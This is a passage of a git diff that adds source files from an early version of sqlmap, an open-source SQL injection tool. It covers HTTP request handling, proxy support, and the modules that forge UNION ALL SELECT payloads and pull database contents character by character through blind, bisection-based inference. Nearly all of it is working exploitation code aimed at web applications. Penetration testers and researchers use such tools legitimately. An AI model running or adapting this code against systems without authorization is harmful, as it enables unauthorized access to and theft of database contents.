re.search("http[s]*://%s" % conf.hostname, url, re.I): + requestMsg += "%s" % conf.path or "/" + else: + requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" + + if direct: + if "?" in url: + url, params = url.split("?") + params = urlencode(params) + url = "%s?%s" % (url, params) + requestMsg += "?%s" % params + elif multipart: + multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) + conn = multipartOpener.open(url, multipart) + page = conn.read() + return page + elif conf.method == "GET": + if conf.parameters.has_key("GET") and not get: + get = conf.parameters["GET"] + + if get: + get = urlencode(get) + url = "%s?%s" % (url, get) + requestMsg += "?%s" % get + elif conf.method == "POST": + if conf.parameters.has_key("POST") and not post: + post = conf.parameters["POST"] + + post = urlencode(post) + + requestMsg += " HTTP/1.1" + + try: + # Perform HTTP request + headers = forgeHeaders(cookie, ua) + req = urllib2.Request(url, post, headers) + conn = urllib2.urlopen(req) + + if "Accept-Encoding" not in req.headers: + requestHeaders += "\nAccept-Encoding: identity" + + requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) + + for _, cookie in enumerate(conf.cj): + if not cookieStr: + cookieStr = "Cookie: " + + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s; " % cookie[8:index] + + if "Cookie" not in req.headers and cookieStr: + requestHeaders += "\n%s" % cookieStr[:-2] + + if "Connection" not in req.headers: + requestHeaders += "\nConnection: close" + + requestMsg += "\n%s" % requestHeaders + + if post: + requestMsg += "\n%s" % post + + requestMsg += "\n" + + logger.log(9, requestMsg) + + # Get HTTP response + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + + except urllib2.HTTPError, e: + if e.code == 401: + exceptionMsg = "not authorized, try to provide right HTTP " + exceptionMsg += "authentication type and valid credentials" + raise sqlmapConnectionException, exceptionMsg + else: + page = e.read() + code = e.code + status = e.msg + responseHeaders = e.info() + + except urllib2.URLError, e: + warnMsg = "unable to connect to the target url" + + if conf.googleDork: + warnMsg += ", skipping to next url" + logger.warn(warnMsg) + + return None + else: + warnMsg += " or proxy" + raise sqlmapConnectionException, warnMsg + + parsePage(page) + responseMsg += "(%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += str(responseHeaders) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(8, responseMsg) + + return page + + + @staticmethod + def queryPage(value=None, place=None, content=False): + """ + This method calls a function to get the target url page content + and returns its page MD5 hash or a boolean value in case of + string match check ('--string' command line parameter) + """ + + get = None + post = None + cookie = None + ua = None + + if not place: + place = kb.injPlace + + if conf.parameters.has_key("GET"): + if place == "GET" and value: + get = value + else: + get = conf.parameters["GET"] + + if conf.parameters.has_key("POST"): + if place == "POST" and value: + post = value + else: + post = conf.parameters["POST"] + + if conf.parameters.has_key("Cookie"): + if place == "Cookie" and value: + cookie = value + else: + cookie = conf.parameters["Cookie"] + + if conf.parameters.has_key("User-Agent"): + if place == "User-Agent" and value: + ua = value + else: + ua = conf.parameters["User-Agent"] + + page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) + + if content: + return page + elif conf.string: + if conf.string in page: + return True + else: + return False + else: + return md5.new(page).hexdigest() diff --git a/lib/request/inject.py b/lib/request/inject.py new file mode 100644 index 000000000..a9223b247 --- /dev/null +++ b/lib/request/inject.py @@ -0,0 +1,377 @@ +#!/usr/bin/env python + +""" +$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re +import time + +from lib.core.agent import agent +from lib.core.common import cleanQuery +from lib.core.common import dataToSessionFile +from lib.core.common import expandAsteriskForColumns +from lib.core.common import readInput +from lib.core.common import replaceNewlineTabs +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import temp +from lib.techniques.inband.union.use import unionUse +from lib.techniques.inference.blind import bisection +from lib.utils.resume import queryOutputLength +from lib.utils.resume import resume + + +def __getFieldsProxy(expression): + _, _, _, expressionFields = agent.getFields(expression) + expressionFieldsList = expressionFields.replace(", ", ",") + expressionFieldsList = expressionFieldsList.split(",") + + return expressionFields, expressionFieldsList + + +def __goInference(payload, expression): + start = time.time() + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) + + if ( conf.eta or conf.threads > 1 ) and kb.dbms: + _, length, _ = queryOutputLength(expression, payload) + else: + length = None + + count, value = bisection(payload, expression, length=length) + duration = int(time.time() - start) + + infoMsg = "performed %d queries in %d seconds" % (count, duration) + logger.info(infoMsg) + + return value + + +def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload): + outputs = [] + + for field in expressionFieldsList: + output = None + + expressionReplaced = expression.replace(expressionFields, field, 1) + output = resume(expressionReplaced, payload) + + if not output: + output = __goInference(payload, expressionReplaced) + + outputs.append(output) + + return outputs + + +def __goInferenceProxy(expression, fromUser=False): + """ + Retrieve the output of a SQL query characted by character taking + advantage of an blind SQL injection vulnerability on the affected + parameter through a bisection algorithm. + """ + + query = agent.prefixQuery(temp.inference) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + count = None + startLimit = 0 + stopLimit = None + outputs = [] + test = None + untilLimitChar = None + untilOrderChar = None + + output = resume(expression, payload) + + if output: + return output + + if kb.dbmsDetected: + expressionFields, expressionFieldsList = __getFieldsProxy(expression) + + if len(expressionFieldsList) > 1: + infoMsg = "the SQL query provided has more than a field. " + infoMsg += "sqlmap will now unpack it into distinct queries " + infoMsg += "to be able to retrieve the output even if we " + infoMsg += "are going blind" + logger.info(infoMsg) + + # If we have been here from SQL query/shell we have to check if + # the SQL query might return multiple entries and in such case + # forge the SQL limiting the query output one entry per time + # NOTE: I assume that only queries that get data from a table + # can return multiple entries + if fromUser and " FROM " in expression: + limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) + + if limitRegExp: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitGroupStart = queries[kb.dbms].limitgroupstart + limitGroupStop = queries[kb.dbms].limitgroupstop + + if limitGroupStart.isdigit(): + startLimit = int(limitRegExp.group(int(limitGroupStart))) + + stopLimit = limitRegExp.group(int(limitGroupStop)) + limitCond = int(stopLimit) > 1 + + elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): + limitCond = False + else: + limitCond = True + + # I assume that only queries NOT containing a "LIMIT #, 1" + # (or similar depending on the back-end DBMS) can return + # multiple entries + if limitCond: + if limitRegExp: + stopLimit = int(stopLimit) + + # From now on we need only the expression until the " LIMIT " + # (or similar, depending on the back-end DBMS) word + if kb.dbms in ( "MySQL", "PostgreSQL" ): + stopLimit += startLimit + untilLimitChar = expression.index(queries[kb.dbms].limitstring) + expression = expression[:untilLimitChar] + + if not stopLimit or stopLimit <= 1: + if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): + test = "n" + else: + message = "does the SQL query that you provide might " + message += "return multiple entries? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + # Count the number of SQL query entries output + countFirstField = queries[kb.dbms].count % expressionFieldsList[0] + countedExpression = expression.replace(expressionFields, countFirstField, 1) + + if re.search(" ORDER BY ", expression, re.I): + untilOrderChar = countedExpression.index(" ORDER BY ") + countedExpression = countedExpression[:untilOrderChar] + + count = resume(countedExpression, payload) + + if not stopLimit: + if not count: + count = __goInference(payload, countedExpression) + + if count.isdigit() and int(count) > 0: + count = int(count) + + message = "the SQL query that you provide can " + message += "return up to %d entries. How many " % count + message += "entries do you want to retrieve?\n" + message += "[a] All (default)\n[#] Specific number\n" + message += "[q] Quit\nChoice: " + test = readInput(message, default="a") + + if not test or test[0] in ("a", "A"): + stopLimit = count + + elif test[0] in ("q", "Q"): + return "Quit" + + elif test.isdigit() and int(test) > 0 and int(test) <= count: + stopLimit = int(test) + + infoMsg = "sqlmap is now going to retrieve the " + infoMsg += "first %d query output entries" % stopLimit + logger.info(infoMsg) + + elif test[0] in ("#", "s", "S"): + message = "How many? " + stopLimit = readInput(message, default="10") + + if not stopLimit.isdigit(): + errMsg = "Invalid choice" + logger.error(errMsg) + + return None + + else: + stopLimit = int(stopLimit) + + else: + errMsg = "Invalid choice" + logger.error(errMsg) + + return None + + elif ( not count or int(count) == 0 ): + warnMsg = "the SQL query that you provided does " + warnMsg += "not return any output" + logger.warn(warnMsg) + + return None + + elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): + warnMsg = "the SQL query that you provided does " + warnMsg += "not return any output" + logger.warn(warnMsg) + + return None + + for num in xrange(startLimit, stopLimit): + limitedExpr = expression + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitStr = queries[kb.dbms].limit % (num, 1) + limitedExpr += " %s" % limitStr + + elif kb.dbms == "Oracle": + limitStr = queries[kb.dbms].limit + fromIndex = limitedExpr.index(" FROM ") + untilFrom = limitedExpr[:fromIndex] + fromFrom = limitedExpr[fromIndex+1:] + limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) + limitedExpr = limitedExpr % fromFrom + limitedExpr += "=%d" % (num + 1) + + elif kb.dbms == "Microsoft SQL Server": + if re.search(" ORDER BY ", limitedExpr, re.I): + untilOrderChar = limitedExpr.index(" ORDER BY ") + limitedExpr = limitedExpr[:untilOrderChar] + + limitStr = queries[kb.dbms].limit + fromIndex = limitedExpr.index(" FROM ") + untilFrom = limitedExpr[:fromIndex] + fromFrom = limitedExpr[fromIndex+1:] + limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1) + limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0]) + limitedExpr += "NOT IN (%s" % (limitStr % num) + limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom) + + output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload) + outputs.append(output) + + return outputs + + elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: + expression = "%s FROM DUAL" % expression + + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload) + + returnValue = ", ".join([output for output in outputs]) + else: + returnValue = __goInference(payload, expression) + + return returnValue + + +def __goInband(expression): + """ + Retrieve the output of a SQL query taking advantage of an inband SQL + injection vulnerability on the affected parameter. + """ + + counter = None + output = None + partial = False + data = [] + + condition = ( + kb.resumedQueries and conf.url in kb.resumedQueries.keys() + and expression in kb.resumedQueries[conf.url].keys() + ) + + if condition: + output = resume(expression, None) + + if not output: + partial = True + + if not output: + output = unionUse(expression) + + fields = expression.split(",") + counter = len(fields) + + if output: + outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) + outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") ) + + if outCond1 or outCond2: + if outCond1: + regExpr = '%s(.*?)%s' % (temp.start, temp.stop) + elif outCond2: + regExpr = '__START__(.*?)__STOP__' + + output = re.findall(regExpr, output, re.S) + + if conf.sessionFile and ( partial or not condition ): + logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) + + output = set(output) + + for entry in output: + info = [] + + if "__DEL__" in entry: + entry = entry.split("__DEL__") + else: + entry = entry.split(temp.delimiter) + + if len(entry) == 1: + data.append(entry[0]) + else: + for value in entry: + info.append(value) + + data.append(info) + else: + data = output + + if len(data) == 1 and isinstance(data[0], str): + data = data[0] + + return data + + +def getValue(expression, blind=True, inband=True, fromUser=False): + """ + Called each time sqlmap inject a SQL query on the SQL injection + affected parameter. It can call a function to retrieve the output + through inband SQL injection (if selected) and/or blind SQL injection + (if selected). + """ + + expression = cleanQuery(expression) + expression = expandAsteriskForColumns(expression) + value = None + + if inband and conf.unionUse and kb.dbms: + value = __goInband(expression) + + if blind and not value: + value = __goInferenceProxy(expression, fromUser) + + return value diff --git a/lib/request/proxy.py b/lib/request/proxy.py new file mode 100644 index 000000000..1db4844f3 --- /dev/null +++ b/lib/request/proxy.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import httplib +import socket +import urllib +import urllib2 + + +class ProxyHTTPConnection(httplib.HTTPConnection): + _ports = {"http" : 80, "https" : 443} + + def request(self, method, url, body=None, headers={}): + # Request is called before connect, so can interpret url and get + # real host/port to be used to make CONNECT request to proxy + proto, rest = urllib.splittype(url) + + if proto is None: + raise ValueError, "unknown URL type: %s" % url + + # Get host + host, rest = urllib.splithost(rest) + + # Try to get port + host, port = urllib.splitport(host) + + # If port is not defined try to get from proto + if port is None: + try: + port = self._ports[proto] + except KeyError: + raise ValueError, "unknown protocol for: %s" % url + + self._real_host = host + self._real_port = int(port) + + httplib.HTTPConnection.request(self, method, url, body, headers) + + + def connect(self): + httplib.HTTPConnection.connect(self) + + # Send proxy CONNECT request + self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port)) + + # Expect a HTTP/1.0 200 Connection established + response = self.response_class(self.sock, strict=self.strict, method=self._method) + (version, code, message) = response._read_status() + + # Probably here we can handle auth requests... + if code != 200: + # Proxy returned and error, abort connection, and raise exception + self.close() + + raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip()) + + # Eat up header block from proxy + while True: + # Should not use directly fp probably + line = response.fp.readline() + + if line == "\r\n": + break + + +class ProxyHTTPSConnection(ProxyHTTPConnection): + default_port = 443 + + def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None): + ProxyHTTPConnection.__init__(self, host, port) + self.key_file = key_file + self.cert_file = cert_file + + def connect(self): + ProxyHTTPConnection.connect(self) + + # Make the sock ssl-aware + ssl = socket.ssl(self.sock, self.key_file, self.cert_file) + self.sock = httplib.FakeSocket(self.sock, ssl) + + +class ProxyHTTPHandler(urllib2.HTTPHandler): + def __init__(self, proxy=None, debuglevel=0): + self.proxy = proxy + + urllib2.HTTPHandler.__init__(self, debuglevel) + + def do_open(self, http_class, req): + if self.proxy is not None: + req.set_proxy(self.proxy, "http") + + return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) + + +class ProxyHTTPSHandler(urllib2.HTTPSHandler): + def __init__(self, proxy=None, debuglevel=0): + self.proxy = proxy + + urllib2.HTTPSHandler.__init__(self, debuglevel) + + def do_open(self, http_class, req): + if self.proxy is not None: + req.set_proxy(self.proxy, "https") + + return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/__init__.py b/lib/techniques/inband/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inband/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/union/__init__.py b/lib/techniques/inband/union/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inband/union/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py new file mode 100644 index 000000000..a1635ff04 --- /dev/null +++ b/lib/techniques/inband/union/test.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +$Id: test.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setUnion +from lib.request.connect import Connect as Request + + +def __effectiveUnionTest(query, comment): + """ + This method tests if the target url is affected by an inband + SQL injection vulnerability. The test is done up to 50 columns + on the target database table + """ + + resultDict = {} + + for count in range(0, 50): + if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): + query = query[:-len(" FROM DUAL")] + + if count: + query += ", NULL" + + if kb.dbms == "Oracle": + query += " FROM DUAL" + + commentedQuery = agent.postfixQuery(query, comment) + payload = agent.payload(newValue=commentedQuery) + newResult = Request.queryPage(payload) + + if not newResult in resultDict.keys(): + resultDict[newResult] = (1, commentedQuery) + else: + resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery) + + if count: + for element in resultDict.values(): + if element[0] == 1: + if kb.injPlace == "GET": + value = "%s?%s" % (conf.url, payload) + elif kb.injPlace == "POST": + value = "URL:\t'%s'" % conf.url + value += "\nPOST:\t'%s'\n" % payload + elif kb.injPlace == "Cookie": + value = "URL:\t'%s'" % conf.url + value += "\nCookie:\t'%s'\n" % payload + elif kb.injPlace == "User-Agent": + value = "URL:\t\t'%s'" % conf.url + value += "\nUser-Agent:\t'%s'\n" % payload + + return value + + return None + + +def unionTest(): + """ + This method tests if the target url is affected by an inband + SQL injection vulnerability. The test is done up to 3*50 times + """ + + logMsg = "testing inband sql injection on parameter " + logMsg += "'%s'" % kb.injParameter + logger.info(logMsg) + + value = "" + + query = agent.prefixQuery("UNION ALL SELECT NULL") + + for comment in ("--", "#", "/*", ";", "%00"): + value = __effectiveUnionTest(query, comment) + + if value: + setUnion(comment, value.count("NULL")) + + break + + if kb.unionCount: + logMsg = "the target url could be affected by an " + logMsg += "inband sql injection vulnerability" + logger.info(logMsg) + else: + warnMsg = "the target url is not affected by an " + warnMsg += "inband sql injection vulnerability" + logger.warn(warnMsg) + + return value diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py new file mode 100644 index 000000000..e1c8514a7 --- /dev/null +++ b/lib/techniques/inband/union/use.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python + +""" +$Id: use.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.core.agent import agent +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import temp +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.session import setUnion +from lib.core.unescaper import unescaper +from lib.parse.html import htmlParser +from lib.request.connect import Connect as Request +from lib.techniques.inband.union.test import unionTest + + +def __unionPosition(count, expression): + logMsg = "confirming inband sql injection on parameter " + logMsg += "'%s'" % kb.injParameter + logger.info(logMsg) + + # For each column of the table (# of NULL) perform a request using + # the UNION ALL SELECT statement to test it the target url is + # affected by an exploitable inband SQL injection vulnerability + for exprPosition in range(0, kb.unionCount): + # Prepare expression with delimiters + randQuery = randomStr() + randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) + randQueryUnescaped = unescaper.unescape(randQueryProcessed) + + if len(randQueryUnescaped) > len(expression): + blankCount = len(randQueryUnescaped) - len(expression) + expression = (" " * blankCount) + expression + elif len(randQueryUnescaped) < len(expression): + blankCount = len(expression) - len(randQueryUnescaped) + randQueryUnescaped = (" " * blankCount) + randQueryUnescaped + + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) + payload = agent.payload(newValue=query) + + # Perform the request + resultPage = Request.queryPage(payload, content=True) + count += 1 + + # We have to assure that the randQuery value is not within the + # HTML code of the result page because, for instance, it is there + # when the query is wrong and the back-end DBMS is Microsoft SQL + # server + htmlParsed = htmlParser(resultPage, paths.ERRORS_XML) + + if randQuery in resultPage and not htmlParsed: + setUnion(position=exprPosition) + + break + + if isinstance(kb.unionPosition, int): + logMsg = "the target url is affected by an exploitable " + logMsg += "inband sql injection vulnerability" + logger.info(logMsg) + else: + warnMsg = "the target url is not affected by an exploitable " + warnMsg += "inband sql injection vulnerability, sqlmap will " + warnMsg += "retrieve the expression output through blind sql " + warnMsg += "injection technique" + logger.warn(warnMsg) + + return count + + +def unionUse(expression): + """ + This function tests for an inband SQL injection on the target + url then call its subsidiary function to effectively perform an + inband SQL injection on the affected url + """ + + count = 0 + origExpr = expression + start = time.time() + + if not kb.unionCount: + unionTest() + + if not kb.unionCount: + return + + # Prepare expression with delimiters + expression = agent.concatQuery(expression) + expression = unescaper.unescape(expression) + + # Confirm the inband SQL injection and get the exact column + # position only once + if not isinstance(kb.unionPosition, int): + count = __unionPosition(count, expression) + + # Assure that the above function found the exploitable inband + # SQL injection position + if not isinstance(kb.unionPosition, int): + return + + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(expression) + payload = agent.payload(newValue=query) + + logMsg = "query: %s" % query + logger.info(logMsg) + + # Perform the request + resultPage = Request.queryPage(payload, content=True) + count += 1 + + if temp.start not in resultPage or temp.stop not in resultPage: + return + + duration = int(time.time() - start) + + logMsg = "performed %d queries in %d seconds" % (count, duration) + logger.info(logMsg) + + # Parse the returned page to get the exact inband + # sql injection output + startPosition = resultPage.index(temp.start) + endPosition = resultPage.rindex(temp.stop) + len(temp.stop) + value = str(resultPage[startPosition:endPosition]) + + return value diff --git a/lib/techniques/inference/__init__.py b/lib/techniques/inference/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inference/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inference/blind.py b/lib/techniques/inference/blind.py new file mode 100644 index 000000000..e08d8147e --- /dev/null +++ b/lib/techniques/inference/blind.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import threading +import time + +from lib.core.agent import agent +from lib.core.common import dataToSessionFile +from lib.core.common import dataToStdout +from lib.core.common import replaceNewlineTabs +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapValueException +from lib.core.progress import ProgressBar +from lib.core.unescaper import unescaper +from lib.request.connect import Connect as Request + + +def bisection(payload, expression, length=None): + """ + Bisection algorithm that can be used to perform blind SQL injection + on an affected host + """ + + if kb.dbmsDetected: + _, _, _, fieldToCast = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCast) + expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1) + expressionUnescaped = unescaper.unescape(expressionReplaced) + else: + expressionUnescaped = unescaper.unescape(expression) + + infoMsg = "query: %s" % expressionUnescaped + logger.info(infoMsg) + + if length and not isinstance(length, int) and length.isdigit(): + length = int(length) + + if length == 0: + return 0, "" + + showEta = conf.eta and length + numThreads = min(conf.threads, length) + threads = [] + + if showEta: + progress = ProgressBar(maxValue=length) + progressTime = [] + + if conf.verbose in ( 1, 2 ) and not showEta: + if isinstance(length, int) and conf.threads > 1: + infoMsg = "starting %d threads" % numThreads + logger.info(infoMsg) + + dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length)) + dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) + else: + dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) + + queriesCount = [0] # As list to deal with nested scoping rules + + + def getChar(idx): + maxValue = 127 + minValue = 0 + + while (maxValue - minValue) != 1: + queriesCount[0] += 1 + limit = ((maxValue + minValue) / 2) + + forgedPayload = payload % (expressionUnescaped, idx, limit) + result = Request.queryPage(forgedPayload) + + if result == kb.defaultResult: + minValue = limit + else: + maxValue = limit + + if (maxValue - minValue) == 1: + if maxValue == 1: + return None + else: + return chr(minValue + 1) + + + def etaProgressUpdate(charTime, index): + if len(progressTime) <= ( (length * 3) / 100 ): + eta = 0 + else: + midTime = sum(progressTime) / len(progressTime) + midTimeWithLatest = (midTime + charTime) / 2 + eta = midTimeWithLatest * (length - index) / conf.threads + + 